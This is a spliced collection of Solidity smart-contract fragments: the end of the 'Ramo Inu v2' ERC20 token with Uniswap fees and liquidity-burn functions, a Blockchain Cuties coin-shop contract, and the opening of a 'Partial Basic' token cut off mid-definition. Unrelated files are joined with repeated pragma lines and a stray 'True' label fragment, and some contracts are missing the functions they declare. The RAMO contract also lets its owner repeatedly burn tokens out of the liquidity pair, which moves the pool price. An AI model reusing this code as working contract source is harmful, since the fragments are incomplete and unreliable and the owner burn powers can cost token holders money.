emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract RAMO is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Ramo Inu v2", unicode"RAMO") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 9;
uint256 _buyLiquidityFee = 1;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 9;
uint256 _sellLiquidityFee = 1;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 10_000_000 * 1e18;
maxWallet = 20_000_000 * 1e18;
swapTokensAtAmount = (totalSupply * 5) / 10000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0x5b2147D1c55B8b5D426b1926B26016814B9d469C); // set as marketing wallet
devWallet = address(0x5b2147D1c55B8b5D426b1926B26016814B9d469C); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function TradingStart() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000 ) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 10, "Must keep fees at 10% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 10, "Must keep fees at 10% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
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|
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
contract ERC20Interface {
// ERC Token Standard #223 Interface
// https://github.com/ethereum/EIPs/issues/223
string public symbol;
string public name;
uint8 public decimals;
function transfer(address _to, uint _value, bytes _data) external returns (bool success);
// approveAndCall
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
// bulk operations
function transferBulk(address[] to, uint[] tokens) public;
function approveBulk(address[] spender, uint[] tokens) public;
}
pragma solidity ^0.4.24;
/// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase
contract PluginInterface
{
/// @dev simply a boolean to indicate this is the contract we expect to be
function isPluginInterface() public pure returns (bool);
function onRemove() public;
/// @dev Begins new feature.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
/// @param _seller - Old owner, if not the message sender
function run(
uint40 _cutieId,
uint256 _parameter,
address _seller
)
public
payable;
/// @dev Begins new feature, approved and signed by COO.
/// @param _cutieId - ID of token to auction, sender must be owner.
/// @param _parameter - arbitrary parameter
function runSigned(
uint40 _cutieId,
uint256 _parameter,
address _owner
)
external
payable;
function withdraw() public;
}
contract CuteCoinInterface is ERC20Interface
{
function mint(address target, uint256 mintedAmount) public;
function mintBulk(address[] target, uint256[] mintedAmount) external;
function burn(uint256 amount) external;
}
/// @dev Receives payments for payd features from players for Blockchain Cuties
/// @author https://BlockChainArchitect.io
contract CuteCoinShop is Pausable
{
CuteCoinInterface token;
event CuteCoinShopBuy(address sender, uint value, bytes extraData);
function setToken(CuteCoinInterface _token)
external
onlyOwner
{
token = _token;
}
function receiveApproval(address _sender, uint256 _value, address _tokenContract, bytes _extraData)
external
whenNotPaused
{
require(_tokenContract == address(token));
require(token.transferFrom(_sender, address(this), _value));
token.burn(_value);
emit CuteCoinShopBuy(_sender, _value, _extraData);
}
// @dev Transfers to _withdrawToAddress all tokens controlled by
// contract _tokenContract.
function withdrawTokenFromBalance(ERC20Interface _tokenContract, address _withdrawToAddress)
external
onlyOwner
{
uint256 balance = _tokenContract.balanceOf(address(this));
_tokenContract.transfer(_withdrawToAddress, balance);
}
} | True | [
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|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
/**
* @title Partial Basic
* @dev Partial Basic is an experimental cryptocurrency that guarantees
* unconditional, indeterminate rewards to network participants.
*/
contract PartialBasic is StandardToken {
using SafeMath for uint256;
string public constant name = "Partial Basic"; // solium-disable-line uppercase
string public constant symbol = "PB"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant BASE_REWARD = 20000 ether;
